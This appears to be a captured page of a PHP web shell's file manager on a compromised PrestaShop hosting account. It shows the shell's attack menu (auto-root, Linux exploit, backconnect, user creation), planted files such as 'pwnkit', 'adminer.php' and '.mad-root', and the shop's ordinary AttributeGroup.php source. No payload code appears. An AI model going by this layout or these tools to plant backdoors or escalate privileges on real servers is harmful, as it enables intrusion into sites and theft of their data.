Linux webm004.cluster102.gra.hosting.ovh.net 5.15.206-ovh-vps-grsec-zfs-classid #1 SMP Fri May 15 02:41:25 UTC 2026 x86_64
Apache
: 10.102.20.4 | : 216.73.217.145
Cant Read [ /etc/named.conf ]
5.4.45
opusyn1t
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
home /
opusyn1t /
www /
boutique /
classes /
[ HOME SHELL ]
Name
Size
Permission
Action
cache
[ DIR ]
drwx---r-x
controller
[ DIR ]
drwx---r-x
db
[ DIR ]
drwx---r-x
exception
[ DIR ]
drwx---r-x
helper
[ DIR ]
drwx---r-x
log
[ DIR ]
drwx---r-x
module
[ DIR ]
drwx---r-x
order
[ DIR ]
drwx---r-x
pdf
[ DIR ]
drwx---r-x
range
[ DIR ]
drwx---r-x
shop
[ DIR ]
drwx---r-x
stock
[ DIR ]
drwx---r-x
tax
[ DIR ]
drwx---r-x
tree
[ DIR ]
drwx---r-x
webservice
[ DIR ]
drwx---r-x
.htaccess
31
B
-rw----r--
.mad-root
0
B
-rw-r--r--
Address.php
12.64
KB
-rw----r--
AddressFormat.php
16.96
KB
-rw----r--
AdminTab.php
95.47
KB
-rw----r--
Alias.php
3.71
KB
-rw----r--
Attachment.php
5.85
KB
-rw----r--
Attribute.php
10.76
KB
-rw----r--
AttributeGroup.php
9.91
KB
-rw----r--
Blowfish.php
18.39
KB
-rw----r--
CMS.php
7.16
KB
-rw----r--
CMSCategory.php
20.26
KB
-rw----r--
CSV.php
2.69
KB
-rw----r--
Carrier.php
42.79
KB
-rw----r--
Cart.php
127.69
KB
-rw----r--
CartRule.php
53.43
KB
-rw----r--
Category.php
54.69
KB
-rw----r--
Chart.php
4.48
KB
-rw----r--
Combination.php
9.76
KB
-rw----r--
CompareProduct.php
4.75
KB
-rw----r--
Configuration.php
17.81
KB
-rw----r--
ConfigurationKPI.php
4.93
KB
-rw----r--
ConfigurationTest.php
8.6
KB
-rw----r--
Connection.php
8.67
KB
-rw----r--
ConnectionsSource.php
4.45
KB
-rw----r--
Contact.php
2.81
KB
-rw----r--
Context.php
4.69
KB
-rw----r--
ControllerFactory.php
1.96
KB
-rw----r--
Cookie.php
11.14
KB
-rw----r--
Country.php
11.84
KB
-rw----r--
County.php
3.22
KB
-rw----r--
Currency.php
12.85
KB
-rw----r--
Customer.php
27.11
KB
-rw----r--
CustomerMessage.php
3.63
KB
-rw----r--
CustomerThread.php
7.03
KB
-rw----r--
Customization.php
4.46
KB
-rw----r--
DateRange.php
2.08
KB
-rw----r--
Delivery.php
2.8
KB
-rw----r--
Discount.php
7.4
KB
-rw----r--
Dispatcher.php
28.81
KB
-rw----r--
Employee.php
13.15
KB
-rw----r--
Feature.php
10.15
KB
-rw----r--
FeatureValue.php
6.11
KB
-rw----r--
FileUploader.php
9.02
KB
-rw----r--
Gender.php
2.06
KB
-rw----r--
Group.php
11.13
KB
-rw----r--
GroupReduction.php
8.05
KB
-rw----r--
Guest.php
6.25
KB
-rw----r--
Hook.php
23.36
KB
-rw----r--
Image.php
20.18
KB
-rw----r--
ImageManager.php
14.55
KB
-rw----r--
ImageType.php
4.99
KB
-rw----r--
Language.php
31.94
KB
-rw----r--
Link.php
23.51
KB
-rw----r--
LocalizationPack.php
13.36
KB
-rw----r--
Mail.php
16.12
KB
-rw----r--
Manufacturer.php
14.32
KB
-rw----r--
Media.php
29.08
KB
-rw----r--
Message.php
5.28
KB
-rw----r--
Meta.php
14.7
KB
-rw----r--
Notification.php
5.54
KB
-rw----r--
ObjectModel.php
51.85
KB
-rw----r--
Pack.php
8.91
KB
-rw----r--
Page.php
3.69
KB
-rw----r--
PaymentCC.php
2.34
KB
-rw----r--
PaymentModule.php
38.56
KB
-rw----r--
PrestaShopAutoload.php
6.24
KB
-rw----r--
PrestaShopBackup.php
8.64
KB
-rw----r--
PrestaShopCollection.php
16.84
KB
-rw----r--
PrestaShopLogger.php
5.38
KB
-rw----r--
Product.php
188.57
KB
-rw----r--
ProductDownload.php
8.74
KB
-rw----r--
ProductSale.php
10.3
KB
-rw----r--
ProductSupplier.php
6.71
KB
-rw----r--
Profile.php
4.52
KB
-rw----r--
QuickAccess.php
2.4
KB
-rw----r--
Referrer.php
14.72
KB
-rw----r--
RequestSql.php
15.4
KB
-rw----r--
Rijndael.php
2.27
KB
-rw----r--
Risk.php
2.16
KB
-rw----r--
Scene.php
8.28
KB
-rw----r--
Search.php
30.51
KB
-rw----r--
SearchEngine.php
2.25
KB
-rw----r--
SpecificPrice.php
16.21
KB
-rw----r--
SpecificPriceRule.php
10.71
KB
-rw----r--
State.php
5.91
KB
-rw----r--
Store.php
4.34
KB
-rw----r--
Supplier.php
12.48
KB
-rw----r--
Tab.php
16.66
KB
-rw----r--
Tag.php
6.85
KB
-rw----r--
Theme.php
8.01
KB
-rw----r--
Tools.php
93.5
KB
-rw----r--
Translate.php
8.54
KB
-rw----r--
TranslatedConfiguration.php
3.59
KB
-rw----r--
Upgrader.php
9.07
KB
-rw----r--
Uploader.php
6.49
KB
-rw----r--
Validate.php
27.13
KB
-rw----r--
Zone.php
2.98
KB
-rw----r--
adminer.php
465.43
KB
-rw-r--r--
autoload_classmap.php
0
B
-r--r--r--
index.php
1.24
KB
-rw----r--
pwnkit
10.99
KB
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : AttributeGroup.php
<?php /* * 2007-2014 PrestaShop * * NOTICE OF LICENSE * * This source file is subject to the Open Software License (OSL 3.0) * that is bundled with this package in the file LICENSE.txt. * It is also available through the world-wide-web at this URL: * http://opensource.org/licenses/osl-3.0.php * If you did not receive a copy of the license and are unable to * obtain it through the world-wide-web, please send an email * to license@prestashop.com so we can send you a copy immediately. * * DISCLAIMER * * Do not edit or add to this file if you wish to upgrade PrestaShop to newer * versions in the future. If you wish to customize PrestaShop for your * needs please refer to http://www.prestashop.com for more information. * * @author PrestaShop SA <contact@prestashop.com> * @copyright 2007-2014 PrestaShop SA * @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) * International Registered Trademark & Property of PrestaShop SA */ class AttributeGroupCore extends ObjectModel { /** @var string Name */ public $name; public $is_color_group; public $position; public $group_type; /** @var string Public Name */ public $public_name; /** * @see ObjectModel::$definition */ public static $definition = array( 'table' => 'attribute_group', 'primary' => 'id_attribute_group', 'multilang' => true, 'fields' => array( 'is_color_group' => array('type' => self::TYPE_BOOL, 'validate' => 'isBool'), 'group_type' => array('type' => self::TYPE_STRING, 'required' => true), 'position' => array('type' => self::TYPE_INT, 'validate' => 'isInt'), // Lang fields 'name' => array('type' => self::TYPE_STRING, 'lang' => true, 'validate' => 'isGenericName', 'required' => true, 'size' => 128), 'public_name' => array('type' => self::TYPE_STRING, 'lang' => true, 'validate' => 'isGenericName', 'required' => true, 'size' => 64), ), ); protected $webserviceParameters = array( 'objectsNodeName' => 'product_options', 'objectNodeName' => 'product_option', 'fields' => array(), 'associations' => array( 'product_option_values' => array( 'resource' => 'product_option_value', 'fields' => array( 'id' => array() ), ), ), ); public function add($autodate = true, $nullValues = false) { if ($this->group_type == 'color') $this->is_color_group = 1; else $this->is_color_group = 0; if ($this->position <= 0) $this->position = AttributeGroup::getHigherPosition() + 1; $return = parent::add($autodate, true); Hook::exec('actionAttributeGroupSave', array('id_attribute_group' => $this->id)); return $return; } public function update($nullValues = false) { if ($this->group_type == 'color') $this->is_color_group = 1; else $this->is_color_group = 0; $return = parent::update($nullValues); Hook::exec('actionAttributeGroupSave', array('id_attribute_group' => $this->id)); return $return; } public static function cleanDeadCombinations() { $attribute_combinations = Db::getInstance()->executeS(' SELECT pac.`id_attribute`, pa.`id_product_attribute` FROM `'._DB_PREFIX_.'product_attribute` pa LEFT JOIN `'._DB_PREFIX_.'product_attribute_combination` pac ON (pa.`id_product_attribute` = pac.`id_product_attribute`) '); $to_remove = array(); foreach ($attribute_combinations as $attribute_combination) if ((int)$attribute_combination['id_attribute'] == 0) $to_remove[] = (int)$attribute_combination['id_product_attribute']; $return = true; if (!empty($to_remove)) foreach ($to_remove as $remove) { $combination = new Combination($remove); $return &= $combination->delete(); } return $return; } public function delete() { if (!$this->hasMultishopEntries() || Shop::getContext() == Shop::CONTEXT_ALL) { /* Select children in order to find linked combinations */ $attribute_ids = Db::getInstance()->executeS(' SELECT `id_attribute` FROM `'._DB_PREFIX_.'attribute` WHERE `id_attribute_group` = '.(int)$this->id ); if ($attribute_ids === false) return false; /* Removing attributes to the found combinations */ $to_remove = array(); foreach ($attribute_ids as $attribute) $to_remove[] = (int)$attribute['id_attribute']; if (!empty($to_remove) && Db::getInstance()->execute(' DELETE FROM `'._DB_PREFIX_.'product_attribute_combination` WHERE `id_attribute` IN ('.implode(', ', $to_remove).')') === false) return false; /* Remove combinations if they do not possess attributes anymore */ if (!AttributeGroup::cleanDeadCombinations()) return false; /* Also delete related attributes */ if (count($to_remove)) if (!Db::getInstance()->execute(' DELETE FROM `'._DB_PREFIX_.'attribute_lang` WHERE `id_attribute` IN ('.implode(',', $to_remove).')') || !Db::getInstance()->execute(' DELETE FROM `'._DB_PREFIX_.'attribute_shop` WHERE `id_attribute` IN ('.implode(',', $to_remove).')') || !Db::getInstance()->execute('DELETE FROM `'._DB_PREFIX_.'attribute` WHERE `id_attribute_group` = '.(int)$this->id)) return false; $this->cleanPositions(); } $return = parent::delete(); if ($return) Hook::exec('actionAttributeGroupDelete', array('id_attribute_group' => $this->id)); return $return; } /** * Get all attributes for a given language / group * * @param integer $id_lang Language id * @param boolean $id_attribute_group Attribute group id * @return array Attributes */ public static function getAttributes($id_lang, $id_attribute_group) { if (!Combination::isFeatureActive()) return array(); return Db::getInstance()->executeS(' SELECT * FROM `'._DB_PREFIX_.'attribute` a '.Shop::addSqlAssociation('attribute', 'a').' LEFT JOIN `'._DB_PREFIX_.'attribute_lang` al ON (a.`id_attribute` = al.`id_attribute` AND al.`id_lang` = '.(int)$id_lang.') WHERE a.`id_attribute_group` = '.(int)$id_attribute_group.' ORDER BY `position` ASC '); } /** * Get all attributes groups for a given language * * @param integer $id_lang Language id * @return array Attributes groups */ public static function getAttributesGroups($id_lang) { if (!Combination::isFeatureActive()) return array(); return Db::getInstance()->executeS(' SELECT DISTINCT agl.`name`, ag.*, agl.* FROM `'._DB_PREFIX_.'attribute_group` ag '.Shop::addSqlAssociation('attribute_group', 'ag').' LEFT JOIN `'._DB_PREFIX_.'attribute_group_lang` agl ON (ag.`id_attribute_group` = agl.`id_attribute_group` AND `id_lang` = '.(int)$id_lang.') ORDER BY `name` ASC '); } /** * Delete several objects from database * * return boolean Deletion result */ public function deleteSelection($selection) { /* Also delete Attributes */ foreach ($selection as $value) { $obj = new AttributeGroup($value); if (!$obj->delete()) return false; } return true; } public function setWsProductOptionValues($values) { $ids = array(); foreach ($values as $value) $ids[] = intval($value['id']); Db::getInstance()->execute(' DELETE FROM `'._DB_PREFIX_.'attribute` WHERE `id_attribute_group` = '.(int)$this->id.' AND `id_attribute` NOT IN ('.implode(',', $ids).')' ); $ok = true; foreach ($values as $value) { $result = Db::getInstance()->execute(' UPDATE `'._DB_PREFIX_.'attribute` SET `id_attribute_group` = '.(int)$this->id.' WHERE `id_attribute` = '.(int)$value['id'] ); if ($result === false) $ok = false; } return $ok; } public function getWsProductOptionValues() { $result = Db::getInstance()->executeS(' SELECT a.id_attribute AS id FROM `'._DB_PREFIX_.'attribute` a '.Shop::addSqlAssociation('attribute', 'a').' WHERE a.id_attribute_group = '.(int)$this->id ); return $result; } /** * Move a group attribute * @param boolean $way Up (1) or Down (0) * @param integer $position * @return boolean Update result */ public function updatePosition($way, $position) { if (!$res = Db::getInstance()->executeS(' SELECT ag.`position`, ag.`id_attribute_group` FROM `'._DB_PREFIX_.'attribute_group` ag WHERE ag.`id_attribute_group` = '.(int)Tools::getValue('id_attribute_group', 1).' ORDER BY ag.`position` ASC' )) return false; foreach ($res as $group_attribute) if ((int)$group_attribute['id_attribute_group'] == (int)$this->id) $moved_group_attribute = $group_attribute; if (!isset($moved_group_attribute) || !isset($position)) return false; // < and > statements rather than BETWEEN operator // since BETWEEN is treated differently according to databases return (Db::getInstance()->execute(' UPDATE `'._DB_PREFIX_.'attribute_group` SET `position`= `position` '.($way ? '- 1' : '+ 1').' WHERE `position` '.($way ? '> '.(int)$moved_group_attribute['position'].' AND `position` <= '.(int)$position : '< '.(int)$moved_group_attribute['position'].' AND `position` >= '.(int)$position) ) && Db::getInstance()->execute(' UPDATE `'._DB_PREFIX_.'attribute_group` SET `position` = '.(int)$position.' WHERE `id_attribute_group`='.(int)$moved_group_attribute['id_attribute_group']) ); } /** * Reorder group attribute position * Call it after deleting a group attribute. * * @return bool $return */ public static function cleanPositions() { $return = true; $sql = ' SELECT `id_attribute_group` FROM `'._DB_PREFIX_.'attribute_group` ORDER BY `position`'; $result = Db::getInstance()->executeS($sql); $i = 0; foreach ($result as $value) $return = Db::getInstance()->execute(' UPDATE `'._DB_PREFIX_.'attribute_group` SET `position` = '.(int)$i++.' WHERE `id_attribute_group` = '.(int)$value['id_attribute_group'] ); return $return; } /** * getHigherPosition * * Get the higher group attribute position * * @return integer $position */ public static function getHigherPosition() { $sql = 'SELECT MAX(`position`) FROM `'._DB_PREFIX_.'attribute_group`'; $position = DB::getInstance()->getValue($sql); return (is_numeric($position)) ? $position : -1; } }
Close